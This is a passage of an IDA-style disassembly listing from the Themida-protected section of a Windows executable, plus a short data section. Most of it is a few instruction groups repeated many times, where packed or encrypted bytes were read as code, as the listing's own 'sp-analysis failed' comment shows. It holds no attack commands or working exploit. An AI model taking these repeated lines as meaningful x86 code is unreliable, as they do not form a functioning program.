xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
aas
adc [ebx+9ABF1ABh], ecx
popf
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-62F6540Fh], ebx
icebp
stosd
or [ebp-3CF6540Fh], ebx
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
cmp al, bl
rcr byte ptr [ebx-642D3CC6h], cl
shl byte ptr [edx-5D2FD90Ch], 1
hlt
sub_5D0537 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 26h
dd 533h dup(26F4A2D0h), 0CCF4A2D0h, 574h dup(0CCCCCCCCh)
db 3 dup(0CCh)
asc_5D4D5B db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
; DATA XREF: ___:off_43162Co
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллл',0
dd 1AA6h dup(0)
Themida_ ends
; Section 5. (virtual address 001DC000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001DC000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5DC000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start